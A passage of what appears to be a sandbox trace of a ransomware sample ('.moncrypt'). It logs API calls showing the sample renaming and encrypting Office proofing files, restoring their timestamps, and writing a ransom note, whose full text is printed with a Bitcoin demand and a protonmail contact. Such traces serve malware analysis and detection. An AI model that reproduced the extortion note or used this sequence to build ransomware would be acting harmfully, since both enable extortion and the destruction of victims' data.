lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.676] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", cchWideChar=65, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpUsedDefaultChar=0x0) returned 65 [0049.676] CharLowerBuffW (in: lpsz=".LEX", cchLength=0x4 | out: lpsz=".lex") returned 0x4 [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".lex", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".lexShared\\PROOF\\MSWDS_EN.LEX", lpUsedDefaultChar=0x0) returned 4 [0049.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.677] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0049.677] CloseHandle (hObject=0x188) returned 1 [0049.678] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\я")) returned 1 [0049.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 0x54e200 [0049.679] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0049.679] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0049.679] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0049.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", dwFileAttributes=0x20) returned 1 [0049.687] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0049.687] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.moncrypt")) returned 1 [0049.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.687] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0049.687] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x6c67b [0049.688] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0049.688] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0049.689] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.689] GlobalLock (hMem=0x440004) returned 0x550170 [0049.689] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.689] GlobalUnlock (hMem=0x440004) returned 0 [0049.689] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0049.689] GlobalLock (hMem=0x440004) returned 0x55bb88 [0049.690] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0049.690] GlobalUnlock (hMem=0x440004) returned 0 [0049.690] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0049.690] GlobalLock (hMem=0x440004) returned 0x55bb88 [0049.690] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.690] GlobalUnlock (hMem=0x44000c) returned 0 [0049.690] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0049.690] GlobalUnlock (hMem=0x440004) returned 0 [0049.690] GlobalLock (hMem=0x440004) returned 0x550170 [0049.690] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.690] GlobalUnlock (hMem=0x440004) returned 0 [0049.690] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0049.690] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.690] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.690] GlobalUnlock (hMem=0x440004) returned 0 [0049.690] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0049.691] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0049.691] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0049.691] SetFilePointer (in: hFile=0x188, lDistanceToMove=444027, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x6c67b [0049.691] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0049.693] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0049.693] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0049.704] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0049.705] CloseHandle (hObject=0x188) returned 1 [0049.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.710] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0049.710] CloseHandle (hObject=0x188) returned 1 [0049.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.moncrypt", dwFileAttributes=0x20) returned 1 [0049.711] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0049.711] GlobalLock (hMem=0x440004) returned 0x550170 [0049.711] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.711] GlobalUnlock (hMem=0x440004) returned 0 [0049.711] GlobalLock (hMem=0x440004) returned 0x550170 [0049.711] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.711] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.711] GlobalUnlock (hMem=0x440004) returned 0 [0049.711] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.711] GlobalUnlock (hMem=0x44000c) returned 0 [0049.711] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0049.711] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x555b78, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69cd0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x557b88, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0049.711] GetLastError () returned 0x2 [0049.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.713] WriteFile (in: hFile=0x188, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18ed24*=0x649, lpOverlapped=0x0) returned 1 [0049.714] CloseHandle (hObject=0x188) returned 1 [0049.714] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0049.714] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.714] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.714] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.714] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.714] GlobalUnlock (hMem=0x44000c) returned 0 [0049.714] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.714] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.714] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.714] GlobalUnlock (hMem=0x44000c) returned 0 [0049.714] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.714] GlobalUnlock (hMem=0x440004) returned 0 [0049.714] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.715] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 0x54e200 [0049.715] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0049.715] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0049.715] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0049.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", dwFileAttributes=0x20) returned 1 [0049.716] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0049.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.moncrypt")) returned 1 [0049.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.716] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0049.716] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x60983 [0049.716] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0049.716] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0049.718] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.718] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.718] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.718] GlobalUnlock (hMem=0x44000c) returned 0 [0049.718] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0049.718] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0049.718] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0049.718] GlobalUnlock (hMem=0x44000c) returned 0 [0049.718] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0049.718] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0049.719] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.719] GlobalUnlock (hMem=0x440004) returned 0 [0049.719] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0049.719] GlobalUnlock (hMem=0x44000c) returned 0 [0049.719] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.719] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.719] GlobalUnlock (hMem=0x44000c) returned 0 [0049.719] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0049.719] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.719] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.719] GlobalUnlock (hMem=0x44000c) returned 0 [0049.719] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0049.720] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0049.720] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0049.720] SetFilePointer (in: hFile=0x188, lDistanceToMove=395651, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x60983 [0049.720] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0049.722] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0049.722] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0049.733] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0049.733] CloseHandle (hObject=0x188) returned 1 [0049.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.752] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0049.752] CloseHandle (hObject=0x188) returned 1 [0049.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.moncrypt", dwFileAttributes=0x20) returned 1 [0049.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0049.753] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.753] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.753] GlobalUnlock (hMem=0x44000c) returned 0 [0049.753] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.753] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.753] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.753] GlobalUnlock (hMem=0x44000c) returned 0 [0049.753] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.753] GlobalUnlock (hMem=0x440004) returned 0 [0049.753] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0049.753] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ee01d80, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3ee01d80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ee01d80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0049.753] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0049.753] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0049.753] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0049.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.753] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0049.753] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0049.753] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0049.754] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0049.754] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0049.754] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0049.754] ReadFile (in: hFile=0x188, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0049.754] CloseHandle (hObject=0x188) returned 1 [0049.754] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0049.754] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, 